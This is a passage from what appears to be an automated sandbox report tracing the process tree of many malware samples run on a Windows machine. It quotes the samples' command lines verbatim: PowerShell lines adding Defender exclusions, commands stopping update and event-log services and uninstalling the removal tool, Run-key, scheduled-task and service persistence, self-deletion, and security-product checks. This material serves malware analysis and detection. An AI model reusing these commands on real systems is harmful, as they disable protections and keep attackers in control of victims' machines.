        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6952
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        7⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:7992
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:1572
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:6280
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        
        PID:1372
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        8⤵
        Launches sc.exe
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\1053927741.exe
        
        C:\Users\Admin\AppData\Local\Temp\1053927741.exe
        7⤵
        
        PID:2448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:5840
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:6956
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:8096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:7560
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\165725843.exe
        
        C:\Users\Admin\AppData\Local\Temp\165725843.exe
        7⤵
        
        PID:3344
        
        C:\Users\Admin\AppData\Local\Temp\135832044.exe
        
        C:\Users\Admin\AppData\Local\Temp\135832044.exe
        7⤵
        
        PID:9440
        
        C:\Users\Admin\AppData\Local\Temp\1252130925.exe
        
        C:\Users\Admin\AppData\Local\Temp\1252130925.exe
        7⤵
        
        PID:9644
    - - C:\Users\Admin\Desktop\Files\6nteyex7.exe
        
        "C:\Users\Admin\Desktop\Files\6nteyex7.exe"
        5⤵
        
        PID:5628
      - C:\Users\Admin\Desktop\Files\6nteyex7.exe
        
        "C:\Users\Admin\Desktop\Files\6nteyex7.exe"
        6⤵
        
        PID:6332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5628 -s 260
        6⤵
        Program crash
        
        PID:9964
    - - C:\Users\Admin\Desktop\Files\XClient_protected.exe
        
        "C:\Users\Admin\Desktop\Files\XClient_protected.exe"
        5⤵
        
        PID:4124
    - - C:\Users\Admin\Desktop\Files\naver.exe
        
        "C:\Users\Admin\Desktop\Files\naver.exe"
        5⤵
        
        PID:6700
    - - C:\Users\Admin\Desktop\Files\te3tlsre.exe
        
        "C:\Users\Admin\Desktop\Files\te3tlsre.exe"
        5⤵
        
        PID:6640
    - - C:\Users\Admin\Desktop\Files\CnyvVl.exe
        
        "C:\Users\Admin\Desktop\Files\CnyvVl.exe"
        5⤵
        
        PID:1540
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8028
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 896
        6⤵
        Program crash
        
        PID:6276
    - - C:\Users\Admin\Desktop\Files\runtime.exe
        
        "C:\Users\Admin\Desktop\Files\runtime.exe"
        5⤵
        
        PID:7452
    - - C:\Users\Admin\Desktop\Files\build555.exe
        
        "C:\Users\Admin\Desktop\Files\build555.exe"
        5⤵
        
        PID:6796
    - - C:\Users\Admin\Desktop\Files\BroadcomRetest.exe
        
        "C:\Users\Admin\Desktop\Files\BroadcomRetest.exe"
        5⤵
        
        PID:6332
    - - C:\Users\Admin\Desktop\Files\file1.exe
        
        "C:\Users\Admin\Desktop\Files\file1.exe"
        5⤵
        
        PID:1748
    - - C:\Users\Admin\Desktop\Files\WatchDog.exe
        
        "C:\Users\Admin\Desktop\Files\WatchDog.exe"
        5⤵
        
        PID:6964
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6964 -s 1300
        6⤵
        Program crash
        
        PID:7260
    - - C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe
        
        "C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe"
        5⤵
        
        PID:8664
      - C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe
        
        "C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe"
        6⤵
        
        PID:9280
    - - C:\Users\Admin\Desktop\Files\Microsoft.exe
        
        "C:\Users\Admin\Desktop\Files\Microsoft.exe"
        5⤵
        
        PID:9232
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9132
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:3180
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:7188
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:8328
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:1832
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9004
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:5748
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:6128
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:3308
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:7980
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:5276
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:1544
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:6532
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:10716
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:2656
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:10140
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:4840
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11516
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11368
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:12068
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9984
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:12268
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:2352
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:5600
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:8420
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:4616
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11296
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11648
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11096
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:10200
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:7304
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:2004
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11272
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11428
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9548
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:12208
    - - C:\Users\Admin\Desktop\Files\setup.exe
        
        "C:\Users\Admin\Desktop\Files\setup.exe"
        5⤵
        
        PID:2820
      - C:\Users\Admin\AppData\Local\Temp\is-AFMR5.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AFMR5.tmp\setup.tmp" /SL5="$A027E,46398608,813568,C:\Users\Admin\Desktop\Files\setup.exe"
        6⤵
        
        PID:5588
    - - C:\Users\Admin\Desktop\Files\Journal.exe
        
        "C:\Users\Admin\Desktop\Files\Journal.exe"
        5⤵
        
        PID:8540
    - - C:\Users\Admin\Desktop\Files\cryyy.exe
        
        "C:\Users\Admin\Desktop\Files\cryyy.exe"
        5⤵
        
        PID:6200
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1368
        6⤵
        Program crash
        
        PID:1872
    - - C:\Users\Admin\Desktop\Files\crazyCore.exe
        
        "C:\Users\Admin\Desktop\Files\crazyCore.exe"
        5⤵
        
        PID:6400
    - - C:\Users\Admin\Desktop\Files\vidar.exe
        
        "C:\Users\Admin\Desktop\Files\vidar.exe"
        5⤵
        
        PID:1412
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\vidar.exe" & rd /s /q "C:\ProgramData\DGCFHIDAKECF" & exit
        6⤵
        
        PID:11452
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:8628
    - - C:\Users\Admin\Desktop\Files\S%D0%B5tu%D1%80111.exe
        
        "C:\Users\Admin\Desktop\Files\S%D0%B5tu%D1%80111.exe"
        5⤵
        
        PID:10792
    - - C:\Users\Admin\Desktop\Files\t.exe
        
        "C:\Users\Admin\Desktop\Files\t.exe"
        5⤵
        
        PID:5056
    - - C:\Users\Admin\Desktop\Files\DIFF.exe
        
        "C:\Users\Admin\Desktop\Files\DIFF.exe"
        5⤵
        
        PID:8356
    - - C:\Users\Admin\Desktop\Files\UNICO-Venta3401005.exe
        
        "C:\Users\Admin\Desktop\Files\UNICO-Venta3401005.exe"
        5⤵
        
        PID:4364
      - C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe
        
        "C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe"
        6⤵
        
        PID:8364
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Archivos de programa\UNICO - Ventas\ODBC.cmd" "
        6⤵
        
        PID:12792
    - - C:\Users\Admin\Desktop\Files\foggy-mountains.exe
        
        "C:\Users\Admin\Desktop\Files\foggy-mountains.exe"
        5⤵
        
        PID:10516
    - - C:\Users\Admin\Desktop\Files\Beefy.exe
        
        "C:\Users\Admin\Desktop\Files\Beefy.exe"
        5⤵
        
        PID:2272
    - - C:\Users\Admin\Desktop\Files\processclass.exe
        
        "C:\Users\Admin\Desktop\Files\processclass.exe"
        5⤵
        
        PID:9904
    - - C:\Users\Admin\Desktop\Files\Office2024.exe
        
        "C:\Users\Admin\Desktop\Files\Office2024.exe"
        5⤵
        
        PID:2976
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13240
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:6988
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:7160
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:13192
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:9548
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:9516
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:3820
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:12596
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        
        PID:13292
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        
        PID:9104
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        
        PID:6264
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        
        PID:6516
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "QKJNEQWA"
        6⤵
        Launches sc.exe
        
        PID:8472
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:8068
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:3068
    - - C:\Users\Admin\Desktop\Files\requirements.exe
        
        "C:\Users\Admin\Desktop\Files\requirements.exe"
        5⤵
        
        PID:8184
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\requirements.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'requirements.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5528
    - - C:\Users\Admin\Desktop\Files\Vidar.exe
        
        "C:\Users\Admin\Desktop\Files\Vidar.exe"
        5⤵
        
        PID:8548
    - - C:\Users\Admin\Desktop\Files\ptihjawdthas.exe
        
        "C:\Users\Admin\Desktop\Files\ptihjawdthas.exe"
        5⤵
        
        PID:11296
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C schtasks /create /tn WinApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
        6⤵
        
        PID:9996
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn WinApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10480
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3244
    - - C:\Users\Admin\Desktop\Files\bildnewl.exe
        
        "C:\Users\Admin\Desktop\Files\bildnewl.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5068
    - - C:\Users\Admin\Desktop\Files\t1.exe
        
        "C:\Users\Admin\Desktop\Files\t1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5388
    - - C:\Users\Admin\Desktop\Files\loader_5879465914.exe
        
        "C:\Users\Admin\Desktop\Files\loader_5879465914.exe"
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3228
    - - C:\Users\Admin\Desktop\Files\xyaw4fkp.exe
        
        "C:\Users\Admin\Desktop\Files\xyaw4fkp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5264
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:5256
    - - C:\Users\Admin\Desktop\Files\twztl.exe
        
        "C:\Users\Admin\Desktop\Files\twztl.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5320
    - - C:\Users\Admin\Desktop\Files\c2.exe
        
        "C:\Users\Admin\Desktop\Files\c2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5548
    - - C:\Users\Admin\Desktop\Files\pei.exe
        
        "C:\Users\Admin\Desktop\Files\pei.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2216
      - C:\Users\Admin\AppData\Local\Temp\1304425268.exe
        
        C:\Users\Admin\AppData\Local\Temp\1304425268.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5296
        
        C:\Users\Admin\sysnldcvmr.exe
        
        C:\Users\Admin\sysnldcvmr.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        Suspicious use of SetWindowsHookEx
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\1882916087.exe
        
        C:\Users\Admin\AppData\Local\Temp\1882916087.exe
        8⤵
        
        PID:8732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:9908
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        10⤵
        
        PID:8808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:10012
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        10⤵
        
        PID:2836
        
        C:\Users\Admin\AppData\Local\Temp\727013830.exe
        
        C:\Users\Admin\AppData\Local\Temp\727013830.exe
        8⤵
        
        PID:9092
        
        C:\Users\Admin\AppData\Local\Temp\333929433.exe
        
        C:\Users\Admin\AppData\Local\Temp\333929433.exe
        8⤵
        
        PID:8576
        
        C:\Users\Admin\AppData\Local\Temp\316401056.exe
        
        C:\Users\Admin\AppData\Local\Temp\316401056.exe
        8⤵
        
        PID:9496
    - - C:\Users\Admin\Desktop\Files\5.exe
        
        "C:\Users\Admin\Desktop\Files\5.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5144
    - - C:\Users\Admin\Desktop\Files\WinRarInstall.exe
        
        "C:\Users\Admin\Desktop\Files\WinRarInstall.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6420
      - C:\Users\Admin\AppData\Local\Temp\winrar-info.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winrar-info.exe"
        6⤵
        Executes dropped EXE
        
        PID:4572
      - C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6268
    - - C:\Users\Admin\Desktop\Files\Client_protected.exe
        
        "C:\Users\Admin\Desktop\Files\Client_protected.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4364
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4364 -s 1400
        6⤵
        Program crash
        
        PID:6868
    - - C:\Users\Admin\Desktop\Files\S%D0%B5tup.exe
        
        "C:\Users\Admin\Desktop\Files\S%D0%B5tup.exe"
        5⤵
        
        PID:5060
    - - C:\Users\Admin\Desktop\Files\343dsxs.exe
        
        "C:\Users\Admin\Desktop\Files\343dsxs.exe"
        5⤵
        
        PID:5384
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6356
    - - C:\Users\Admin\Desktop\Files\neon.exe
        
        "C:\Users\Admin\Desktop\Files\neon.exe"
        5⤵
        
        PID:1100
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:9088
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 10
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3644
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
        7⤵
        
        PID:6328
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:1780
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:6052
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:5672
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:6404
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:6320
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:1784
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:9604
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:6688
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:1432
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:9852
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:10232
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:7492
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        8⤵
        
        PID:10948
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:10796
    - - C:\Users\Admin\Desktop\Files\5_6253708004881862888.exe
        
        "C:\Users\Admin\Desktop\Files\5_6253708004881862888.exe"
        5⤵
        
        PID:7064
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4464
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6484
    - - C:\Users\Admin\Desktop\Files\esphvcion.exe
        
        "C:\Users\Admin\Desktop\Files\esphvcion.exe"
        5⤵
        
        PID:9996
    - - C:\Users\Admin\Desktop\Files\ConsoleApp3.exe
        
        "C:\Users\Admin\Desktop\Files\ConsoleApp3.exe"
        5⤵
        
        PID:3336
    - - C:\Users\Admin\Desktop\Files\Charter.exe
        
        "C:\Users\Admin\Desktop\Files\Charter.exe"
        5⤵
        
        PID:2112
    - - C:\Users\Admin\Desktop\Files\ldqj18tn.exe
        
        "C:\Users\Admin\Desktop\Files\ldqj18tn.exe"
        5⤵
        
        PID:8960
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat
        6⤵
        
        PID:8904
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:10056
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:9804
    - - C:\Users\Admin\Desktop\Files\87f3f2.exe
        
        "C:\Users\Admin\Desktop\Files\87f3f2.exe"
        5⤵
        
        PID:8792
    - - C:\Users\Admin\Desktop\Files\cookie250.exe
        
        "C:\Users\Admin\Desktop\Files\cookie250.exe"
        5⤵
        
        PID:7188
    - - C:\Users\Admin\Desktop\Files\T3.exe
        
        "C:\Users\Admin\Desktop\Files\T3.exe"
        5⤵
        
        PID:11288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\Desktop\Files\T3.exe' -Force
        6⤵
        
        PID:12600
    - - C:\Users\Admin\Desktop\Files\clip.exe
        
        "C:\Users\Admin\Desktop\Files\clip.exe"
        5⤵
        
        PID:13020
    - - C:\Users\Admin\Desktop\Files\1.exe
        
        "C:\Users\Admin\Desktop\Files\1.exe"
        5⤵
        
        PID:13304
    - - C:\Users\Admin\Desktop\Files\svcyr.exe
        
        "C:\Users\Admin\Desktop\Files\svcyr.exe"
        5⤵
        
        PID:12852
    - - C:\Users\Admin\Desktop\Files\sgx4824p.exe
        
        "C:\Users\Admin\Desktop\Files\sgx4824p.exe"
